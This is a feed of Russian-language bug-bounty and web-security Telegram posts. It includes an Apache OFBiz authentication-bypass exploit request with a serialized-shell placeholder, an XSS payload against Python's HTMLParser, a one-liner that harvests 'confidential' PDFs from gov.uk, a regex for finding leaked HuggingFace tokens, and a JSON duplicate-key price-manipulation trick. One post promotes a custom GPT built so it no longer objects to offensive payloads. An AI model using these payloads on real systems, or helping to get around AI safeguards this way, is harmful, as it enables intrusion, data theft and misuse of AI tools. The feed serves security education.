⛈ Как ломать 1С-Битрикс
Привет! Теперь я могу выложить статью с помощью которой проскочил на Standoff Hacks. Также команда standoff 365 помогла её отредактировать, за что большое спасибо и теперь я выложил её на хабр 👍
Краткое содержание статьи
⬜️ Что делать, если по всем известной методичке про атаки на битрикс ничего не найдено
⬜️ Откуда появляются самописные скрипты в битриксе
⬜️ Охота и разведка на самописные php скрипты разработчиков
⬜️ Атака + кейс с работы
Приятного чтения & Happy hacking ☺️
📶 Как ломать сайты на «1С-Битрикс»
ЧТНП | #web
Oh yes, ping pong
Под конец прошлого года, прошла шумиха с Apache Ofbiz, который позволял сделать байпас аутентификации и проабьюзать XML-RPC
. Решил глянуть, что это было и как оно происходит 😺
Суть заключается в том, что XML-RPC
, по логике можно использовать только с валидными кредами, но глянем на сам момент аутентификации юзера в LoginWorker.java
List<String> unpwErrMsgList = new LinkedList<String>();
if (UtilValidate.isEmpty(username)) {
unpwErrMsgList.add(UtilProperties.getMessage(resourceWebapp, "loginevents.username_was_empty_reenter", UtilHttp.getLocale(request)));
}
if (UtilValidate.isEmpty(password) && UtilValidate.isEmpty(token)) {
unpwErrMsgList.add(UtilProperties.getMessage(resourceWebapp, "loginevents.password_was_empty_reenter", UtilHttp.getLocale(request)));
}
boolean requirePasswordChange = "Y".equals(request.getParameter("requirePasswordChange"));
if (!unpwErrMsgList.isEmpty()) {
request.setAttribute("_ERROR_MESSAGE_LIST_", unpwErrMsgList);
return requirePasswordChange ? "requirePasswordChange" : "error";
}
requirePasswordChange
, который не обращает внимание на то, введет ли юзер валидные креды. Если юзер в качестве параметра отдает Y
, то метод login(HttpServletRequest request, HttpServletResponse response)
вернет строку requirePasswordChange
checkLogin()
и там уже идет следующий моментif (username == null
|| (password == null && token == null)
|| "error".equals(login(request, response)))
"error".equals(login(request, response))
не будет срабатывать, т.к мы заставили login(...)
вернуть requirePasswordChange
XML-RPC
/webtools/control/ping?USERNAME=&PASSWORD=s&requirePasswordChange=Y
POST /webtools/control/xmlrpc/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1Читать полностью…
Host: localhost:8443
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Content-Length: 4002
Content-Type: application/xml
<?xml version="1.0"?>
<methodCall>
<methodName>Methodname</methodName>
<params>
<param>
<value>
<struct>
<member>
<name>test</name>
<value>
<serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">serialized_shell</serializable>
</value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>
#quick #XSS
Многие забывают, что парсинг html на бекенде - довольно сложный процесс. Поэтому на уровне даже стандартных парсеров популярных языков программирования - он не реализован полностью
Рассмотрим код на python:
from html.parser import HTMLParser
class MyHTMLParser(HTMLParser):
def handle_starttag(self, tag, attrs):
print(f"{tag}")
for attr in attrs:
print(f" ->{attr[0]}: {attr[1]}")
def handle_endtag(self, tag):
pass
def handle_startendtag(self, tag, attrs):
print(f"{tag}")
for attr in attrs:
print(f" ->{attr[0]}: {attr[1]}")
def handle_data(self, data):
pass
html_string = input()
parser = MyHTMLParser()
parser.feed(html_string)
"iframe", "noembed", "noframes", "noscript", "plaintext", "title", "textarea", "xmp"
<textarea><a href="x></textarea><img src=x onerror=alert()//">
textarea
a
->href: x></textarea><img src=x onerror=alert()//
<textarea><a href="x></textarea><img src="x" onerror="alert()//"">
📁 Массовый поиск конфиденциальных данных в PDF-файлах
Исследуя таргет часто попадается много pdf'ок, которые могут содержать конфиденциальные данные. Просматривать вручную все это очень долго, а потому можно попробовать автоматизировать этот процесс.
1️⃣ Используем gau для сбора конечных точек из wayback, urlscan и т.д.
2️⃣ Фильтруем конечные точки по расширению .pdf
с помощью Grep.
3️⃣ Проверяем с httpx, что url живой и возвращает 200 ОК.
4️⃣ С помощью curl'а смотрим все живые pdf'ки.
5️⃣ Конвертируем PDF в текст. Для этого есть утилитка pdftotext, которая, как видно из названия, умеет переводить из pdf в текст. Устанавливается так:
sudo apt install poppler-utils
internal use only
" или "confidential
" и т.д.for i in $(echo "gov.uk" | gau --subs --threads 16 | grep -E -o 'https?://[^[:space:]]+\.pdf' | httpx -silent -mc 200); do if curl -k -s $i | pdftotext -q - - | grep -Eaiq 'confidential|internal use only'; then echo $i | tee output.txt; fi; done
gov.uk
" и его поддомены в поиске URL-ов с PDF-файлами. Затем она проверяет каждый PDF-файл на наличие строк "confidential
" или "internal use only
" и записывает эти URL-ы в файл "output.txt
".🔑 Утечки ключей HuggingFace
С развитием нейросетей увеличилось число сервисов для работы с ними, что в свою очередь дарит нам возможность поискать утекшие токены от этих сервисов.
Вот тут, например, исследователь нашел 1681 валидный токен через HuggingFace и GitHub у таких гигантов как Meta, Microsoft, Google и Vmware и получил полный доступ к репозиториям Meta-Llama, Bloom, Pythia и HuggingFace.
Можно взять себе на заметку и добавить регулярку к списку своих дорков, так как я ее не видел ни в одном из популярных публичных списков, а также проанализировать похожие сервисы на утечки./hf_([a-zA_Z0-9]{32,})/
#web #recon #leak #dork
☕️² Время собирать подводные камни — в Java
Паша рассказал о подводных камнях веб-приложений на Java на примере четырёх способов исполнить произвольный код через малоизвестные компоненты и странности их поведения.
В программе: RCE через Spring View Manipulation, RCE через Java Deserialization, RCE через Java Naming and Directory Interface и RCE через FastJSON. Бонусом Паша показал ещё одну хитрую RCE-цепочку в своём таске на Java Attach API для Беллюминара (WCTF) 2020.
Доклад будет полезен тем, кто хочет узнать больше фишек и забытых механизмов в Java-вебчике, чтобы расширить свой багхантерский потенциал.
Видео: youtu.be/HVWW_tNoLkY
Презентация: vk.com/doc-114366489_607590017
— vk.com/wall-114366489_2279 —
📁Отслеживаем изменения в файлах JS
Недавно было раскрыто несколько отчетов (например тут или тут), где исследователь просто отслеживал изменения в файлах JS и таким образом находил уязвимости.
Почитать подробнее об этом вы можете тут, а ниже прикладываю инструмент, который поможет вам отслеживать такие изменения и информировать вас о них в телеграмм.
Thx @cyb3r4z
Ссылка на GitHub
#web #tools #js
📝Подборка обходов различных WAF
Автор собрал советы по обходу waf из Twitter'а и упаковал это в едином репозитории.
Ссылка на GitHub
#web #waf #bypass
🔐Кража кода OAuth через Reverse Proxy для захвата аккаунта
Построение цепочки уязвимостей для получения захвата аккаунта в один клик.
Ссылка на статью
#web #oauth #ato
Сегодняшний день богат на новые крутые ББ-программы :)
Positive Technologies объявили программу вместе с Wildberries
/channel/standoff_365/319
А BI.ZONE Bug Bounty запустили первую программу совместно с правительством Ленинградской области.
Тот случай, когда можно безопасно тестировать гос ресурсы 😄
https://app.bugbounty.bi.zone/companies/piou-lenobl/main
И, как подсказывают в комментариях, SkillBox, GeekBrains, SkillFactory подняли выплаты в 3 раза до 15 декабря
Настало время выходить из осенней спячки :)
⚡️IDOR в CloudTips
Подготовили для вас статью, посвящённую разбору бага, найденного нашим исследователем на Bug Bounty Cloud Tips👾
📣Ссылка на статью:
https://habr.com/ru/articles/775814/
#web #pentest #byapsecurity #bugbounty
#podcast #НеДляГалочки
Утечки или ночной кошмар DPO. Откуда берутся, в чем причины. Разбираем кейсы с этичным хакером😄
ОСТОРОЖНО! В этом выпуске много практических кейсов, конкретных рекомендаций и историй из жизни хакера.
💡Apple, Яндекс
🎤Ведущие выпуска:
🔵Кристина Боровикова, со-основатель RPPA, Kept Privacy Team Lead
🔵Елизавета Дмитриева, data privacy engineer в российском инхаусе
🆕Помогали справиться с кошмаром:
🔵Александр Герасимов — этичный хакер, эксперт в области тестирования на проникновение и анализа защищенности. Директор по информационной безопасности и сооснователь Awillix.
🔵Елизавета Никулина — директор по маркетингу и PR в Awillix
Обсудили:
⬇️Векторы атак
⬇️Жизненный цикл утечек данных
⬇️Последствия утечек для человека
⬇️Реагирование на инциденты, а том числе PR-позиция компании
⬇️Немного коснулись базовой инфобезной терминологии
👾Райтап для задачи "Xss 3", которая не была решена в JIS CTF 2023 и CAT CTF 23
Классный таск, сценарий которого максимально приближен к реальной жизни, когда кажется, что все символы экранированы и выполнить XSS нельзя.
Вы узнаете как в php можно обойти htmlspecialchars(), а также побороть ограничение на количество символов.
Читать статью
#web #xss #bypass #ctf
🔃 Недавние уязвимости рендера в PDF
Если видим места, где рендерится PDF и у нас есть возможность влиять на его элементы обращаем внимание на уязвимости в:
ReportLab:
https://github.com/c53elyas/CVE-2023-33733
Dompdf:
https://github.com/advisories?query=CVE-2023-23924
На скрине ниже пример эксплуатации уязвимости в ReportLab приводящий к RCE.
#web #cve
Результаты розыгрыша:
Победители:
1. IlluminatI
2. T@Kov
3. verner
4. Roman
5. Maksim
6. Зᴇбᴩᴀ
7. Денис
8. Давид Кройсманн
9. Artem
10. yanikita
Проверить результаты
👁 Курс на мисконфиги. Как поймать проблемный CORS на проде
На новогодних праздниках, вместо поедания мандаринов, решил совместно с SidneyJob, провести исследование поведений браузеров при мисконфигурации CORS.
Разобрали как работает SOP и CORS, посмотрели возможные мисконфиги и способы их эксплуатации, провели несколько экспериментов, и даже вспомнили, как работают регулярки.
Мы даже сделали для этого отдельную лабу! В ней ты сможешь создавать свои PoC'и при мисконфигурация CORS'a и сразу же кидать на них ссылки уже в отчёте.
Всё получившееся собрали вместе и выпустили как нашу первую статью на xakep.ru. Приятного чтения!
https://xakep.ru/2024/01/18/cors-cheatsheet/
💻 Раскрытые уязвимости с багбаунти, ч.7
1️⃣ IDOR при изменении информации о пользователе, позволяющий привязать свою почту к чужому аккаунту и получить к нему доступ
2️⃣ Повышение привелегий через изменение роли, открывающее админский функционал в приложении
3️⃣ Reflected XSS через скрытый параметр
#web #idor #logic #xss
Многие оставляют недоработанными вектора атак с self-XSS или XSS, заблокированной CSP. Иногда стоит уделить достаточно внимания каждой такой находке и посмотреть на уязвимость с другой стороны 😈
В этой статье мы рассмотрим различные методы и техники, которые расширяют границы XSS-атак: эксплуатацию XSS через service-worker, self-XSS в один клик и другие сочетания уязвимостей 💎
https://telegra.ph/XSS-Advanced-Level-01-09
🎄 Дорогие подписчики, поздравляю вас с наступающим Новым Годом!
Желаю, чтобы ваши поиски всегда были успешными, а каждая найденная уязвимость приносила не только удовлетворение, но и заслуженное вознаграждение.
Пусть Новый год будет полон интересных открытий и невероятных находок и принесет вам радость, удачу и множество приятных сюрпризов. До встречи в новом году!
SMTP Smuggling - Spoofing E-Mails Worldwide. Очень крутой, при этом подробный ресерч. Вкратце, благодаря смаглу сообщений, позволяет отправить сообщение от имени любого пользователя почтового сервера в обход фильтров.
https://sec-consult.com/blog/detail/smtp-smuggling-spoofing-e-mails-worldwide/
P.S. Ну и судя по реакции вендоров, они того рот ... патчить это дело😁 А значит ждем много отчётов об апте, использующей данный метод
#initial #fishing #pentest #redteam
Разработчики любят писать микросервисы для "перекладывания JSON". Стандарт устоявшийся и, как правило, не сулит проблем. Но так ли это на самом деле?
Возьмем небольшое приложение с двумя микросервисами:
— Cart — реализует бизнес-логику корзины
— Payment — используется для обработки платежей
Cart написан на Python с Flask и принимает ID товаров с их количеством. Попробуем отправить в него запрос с двумя одинаковыми ключами:
"cart": [
{
"id": 0,
"qty": 5
},
{
"id": 1,
"qty": -1,
"qty": 1
}
]
jsonschema.validate(instance=data, schema=schema)
. Убедится, что id: 0 <= x <= 10 and qty: >= 1
. На этом этапе не будет ошибки (не смотря на то, что один из отправленных qty не подходит под условие), поскольку Flask использует стандартный JSON-парсер из Python, а тот сериализует данные, отдавая приоритет последнего ключа (qty = 1
).qty = -1
). Считает итоговую сумму total = total + productDB[id]["price"].(int64) * qty
и генерирует чек.🐔 XSS и CSRF в Twitter
Тут багхантер взял недавно слитую XSS , за которую не заплатили и докрутил ее до импакта, позволяющего выполнять различные действия в вашем аккаунте в Twitter, вплоть до его захвата. Однако ему за это тоже не заплатили и он так же решил слить уязвимость на всеобщее обозрение.
Ссылка на пост
#web #csrf
🔍 Поиск утечек у пользователей организации
Один из рабочих способов поиска утечек в GitHub'е организации, это собрать список ее пользователей и проверять их репозитории на утечки.
Любой общедоступный репозиторий в учетной записи пользователя организации, созданный случайно или для тестирования, может содержать утечки конфиденциальной информации, внутренний код и т.д.
Данный процесс можно автоматизировать и один из инструментов, который может помочь вам, называется git-alerts. Вы можете ознакомиться с ним по ссылке ниже.
Ссылка на GitHub
#web #recon #tools
Что было по ББ на Standoff:
Как выжить «мобильщику» на багбаунти - https://www.youtube.com/watch?v=TPSvVtF6vmw
Олды в багбаунти: как поменялись баги и подходы за последние 7–8 лет - https://www.youtube.com/watch?v=FRGHW5auZsI
Как выжить на bug bounty: история исследователя безопасности - https://www.youtube.com/watch?v=PvIFiHKfDgw
Систематизируем багбаунти с помощью аномалий - https://www.youtube.com/watch?v=TVKyU24n0fk
📄 #наработки #web #offense
➡️Моя статья, победившая в конкурсе от Standoff365, увидела свет на Habr! 👈
1️⃣ Основы работы почты
2️⃣ Потенциальные уязвимости
3️⃣ Демонстрация эксплуатации
🧩 Habr: E-mail Injection
✨ DeteAct Blog: E-mail Injection
😰 HaHacking_Mail-Injection.pdf ⬇️
❓) Откуда?
Не так давно столкнулась с ситуацией, когда форма на сайте отправляла ответы пользователей в виде писем на выделенную для этого почту.
На первый взгляд – обычная ситуация, а на второй – вывалившийся лог SMTP
сервера навёл на мысли об изучении спектра потенциальных уязвимостей, которые могут вытекать из специфики почтовой функциональности;
➡️ Результаты – оформила в виде статьи ⚡️
❓) Что?
[ Подготовила небольшие примеры уязвимых приложений + каждое наглядно проэксплуатировала ]
🧩 qwqoro/Mail-Injection [ 💻 / 💻 / 🐍 ]
➖CRLF (SMTP
/ IMAP
) Injection
➖Arbitrary Command Flag Injection
➖Improper Input Validation
// Время чтения: ~20 минут
➡️Enjoy! 📝
@HaHacking 🐇
Недавно OpenAI представила для подписчиков Plus контекстное окно в 32к токенов! А еще возможность создания кастомных GPT на основе своих данных.
Мне пришла идея создать свою сборку — загрузить чеклисты и методологии файлами в конфигуратор.
Представляю вашему вниманию Кавычка GPT
Теперь модель больше не будет спорить с вами об этичности пэйлоадов.
https://chat.openai.com/g/g-5KWmQ9wKU-kavychka-gpt
💻 Раскрытые уязвимости с багбаунти, ч.6
1️⃣ Манипуляция ценой при покупке годовой лицензии
2️⃣ Лишаем пользователей возможности зарегистрироваться на сайте через логическую ошибка при добавлении нескольких почт
3️⃣ Простой Reflected XSS с обходом WAF
#web #xss #logic #bypass
У канала Похек (ex Дневник Безопасника) сегодня день рождения, в связи с чем рекомендую вам заценить контент у них на канале и поддержать подпиской (там много всего интересного).
P.S. не реклама, сам давно подписан
🎉Розыгрыш для подписчиков
Оказывается, что завтра, 15 октября, каналу исполняется уже 3 года!!
И чтобы отпраздновать вместе с вами я решил скинуться вам на пиво и провести небольшую раздачу крипты среди самых активных зрителей канала.
Десять рандомных подписчиков получит по 10 TON. Конкурс продлится чуть больше суток.
Кроме подписки, условий никаких нет, так что кидайте реакцию на пост и жмите кнопку «Участвую!». Бот выберет победителей 15 октября в 18:00.